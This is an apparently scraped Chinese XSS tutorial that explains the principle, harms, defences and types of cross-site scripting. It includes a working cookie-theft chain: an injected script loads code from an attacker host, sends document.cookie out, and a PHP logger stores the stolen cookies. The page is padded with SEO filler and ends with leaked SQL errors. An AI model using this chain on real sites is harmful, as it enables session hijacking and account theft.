DOM用户漏洞0x00XSSXSS前置知识(组图)

09/14 19:05:45 来源网站:辅助卡盟网

标签:XSS跨站浏览器DOM用户漏洞cookiedocument

0x00 XSS 前置知识

什么是 BOM

<script>
  document.write(location.pathname);
</script>

<script>
  txt =  "

浏览器代号:" + navigator.appCodeName + "

"; txt += "

浏览器名称:" + navigator.appName + "

"; txt += "

浏览器版本:" + navigator.appVersion + "

"; txt += "

启用Cookies:" + navigator.cookieEnabled + "

"; txt += "

硬件平台:" + navigator.platform + "

"; txt += "

用户代理:" + navigator.userAgent + "

"; txt += "

用户代理语言:" + navigator.systemLanguage + "

"; document.write(txt); </script>

xss跨站脚本攻击漏洞_跨站脚本攻击漏洞原理_跨站脚本攻击漏洞

xss跨站脚本攻击漏洞_跨站脚本攻击漏洞原理_跨站脚本攻击漏洞

0x01 XSS 漏洞概述

漏洞的介绍

漏洞的位置

跨站脚本攻击漏洞原理_xss跨站脚本攻击漏洞_跨站脚本攻击漏洞

0x02 XSS 漏洞原理

xss攻击的是用户,不能直接getshell

原理图解

xss跨站脚本攻击漏洞_跨站脚本攻击漏洞原理_跨站脚本攻击漏洞

// 服务端代码:
<?php
  $input = $_GET["test"];
  echo $input;
?>

跨站脚本攻击漏洞_xss跨站脚本攻击漏洞_跨站脚本攻击漏洞原理

// 用户提交: <script>alert(/xss/)</script>

XSS 漏洞产生的两个条件

可以控制的输入点

输入能返回到前端页面上被浏览器当成脚本语言解释执行

跨站脚本攻击漏洞原理_跨站脚本攻击漏洞_xss跨站脚本攻击漏洞

0x03 XSS 漏洞危害

漏洞的危害

窃取用户 Cookie,冒充用户身份进入网站 (常见)

键盘记录

客户端信息探查

劫持用户会话,执行任意操作

刷流量,执行弹窗广告

传播蠕虫病毒

跨站脚本攻击漏洞原理_xss跨站脚本攻击漏洞_跨站脚本攻击漏洞

......

0x04 XSS 漏洞防御

使用** XSS Filter** :XSS Filter的作用是过滤用户(客户端)提交的有害信息 ,从而达到防范XSS攻击的效果

输入过滤 :永远不要相信用户的输入",对于用户输入一定要过滤

输入验证 :对用户提交的信息进行有效验证 (是否仅包含合法字符、字符串长度限制、输入是否符合特殊的格式要求等等)

http-only :HttpOnly是包含在http返回头Set-Cookie里面的一个附加的flag,所以它是后端服务器对cookie设置的一个附加的属性,在生成cookie时使用HttpOnly标志有助于减轻客户端脚本访问受保护cookie的风险(如果浏览器支持的话)通过js脚本将无法读取到cookie信息(document.cookie)跨站脚本攻击漏洞,这样能有效的防止XSS攻击。

输出编码 (htmlspecialchars函数 ):HTML编码主要是用对应的HTML实体代替字符

0x05 XSS 漏洞分类反射型XSS

<script>alert('xss')</script>    //常用
<script>confirm('xss')</script>
<script>prompt('xss')</script>
<script>console.log('xss')</script>

存储型XSS

跨站脚本攻击漏洞_跨站脚本攻击漏洞原理_xss跨站脚本攻击漏洞

跨站脚本攻击漏洞_xss跨站脚本攻击漏洞_跨站脚本攻击漏洞原理

DOM型XSS

跨站脚本攻击漏洞原理_跨站脚本攻击漏洞_xss跨站脚本攻击漏洞

攻击者构造出特殊的URL,其中包含恶意代码。用户打开带有恶意代码的URL

用户浏览器接收到响应后解析执行跨站脚本攻击漏洞,前端 JavaScript取出URL中的恶意代码并执行。

恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作

xss跨站脚本攻击漏洞_跨站脚本攻击漏洞原理_跨站脚本攻击漏洞

三种类型的区别0x06 XSS漏洞利用XSS 简单利用Cookie获取

//插入脚本
<script src='http://IP/xss.js'></script>
// xss.js
s=document.createElement('script');
s.src='http://IP/xss.php?cookie='+btoa(document.cookie);
document.body.appendChild(s)

跨站脚本攻击漏洞_跨站脚本攻击漏洞原理_xss跨站脚本攻击漏洞

// xss.php <?php $a = $_GET['cookie']; $fp = fopen('xss.txt','a'); fwrite($fp,$a); fclose($fp); ?>

键盘记录


test

跨站脚本攻击漏洞原理_xss跨站脚本攻击漏洞_跨站脚本攻击漏洞

1

XSS 基本构造(5种)利用 构造 HTML/JS

标签:XSS,跨站,浏览器,DOM,用户,漏洞,cookie,document

SQL Error: select * from ***_ecms_game where title like '%DOM用户漏洞0x00XSSXSS前置知识(组图)%' or INSTR('DOM用户漏洞0x00XSSXSS前置知识(组图)',title)>0 order by newstime desc limit 10

游戏推荐

更多>
    SQL Error: select * from ***_ecms_game where titlepic<>'' order by newstime desc limit 6